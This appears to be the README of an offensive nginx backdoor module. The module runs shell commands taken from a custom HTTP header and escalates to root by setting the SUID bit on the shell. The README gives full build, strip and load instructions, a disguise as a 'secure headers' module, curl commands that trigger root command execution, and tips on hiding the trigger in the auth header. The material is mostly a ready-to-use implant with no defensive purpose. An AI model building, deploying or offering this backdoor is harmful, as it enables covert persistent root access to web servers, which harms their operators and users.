Backdoor command execution as the nginx worker process (www-data)
This inserts itself as a handler during the NGX_HTTP_ACCESS_PHASE
and looks for a specific header (backdoor
in source)
When that header is found it executes the value of the header as a command and returns the output
curl -H "vgo0: whoami" localhost:8888
root
Using a header nginx already references would be more performant instead of having to seek the custom one.
https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.h
A good spot might be to stack this in the auth header
During module init there is a phase where commands can usually be run as root depending on how nginx is getting started
This can be used to provide escalation persistance (SUID, Privileges, etc)
See ngx_http_secure_headers_init
for very basic example
A poor mans escalation within command exec is provided via chmod u+s of the shell specified. This then gets passed to popen. On normal nginx teardown this will be reverted (chmod u-s)
It is roughly:
popen(escalate + " -p -c " + header_in + " 2>&1")
popen('/bin/sh -p -c whoami 2>&1')
popen is ultimately sh -c so it becomes something like:
/bin/sh -c '/bin/sh -p -c whoami 2>&1'
There are likely stealthier methods available
Setting escalate
to ""
avoids this
A sample dynamic and static version are provided in the docker folders compiled against 1.21.6
cd docker-dynamic
docker-compose up -d
curl -H "vgo: whoami" localhost:8888
Normal output
curl -H "vgo0: whoami" localhost:8888
root
This is version specific
https://nginx.org/en/download.html
Extract
Switch to directory
./configure --add-dynamic-module=/opt/nginx-backdoor --with-compat
make modules
strip -s objs/ngx_http_secure_headers_module.so
cp objs/ngx_http_secure_headers_module.so ...
Place .so on disk
Add to nginx config somehow (for dynamic):
load_module path/to/ngx_http_secure_headers_module.so;
service nginx restart
Basic that works can be tested in docker (paths etc should match if replacing):
./configure --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --prefix=/usr/lib/nginx --add-module=/opt/nginx-backdoor
make
strip -s objs/nginx
cp objs/nginx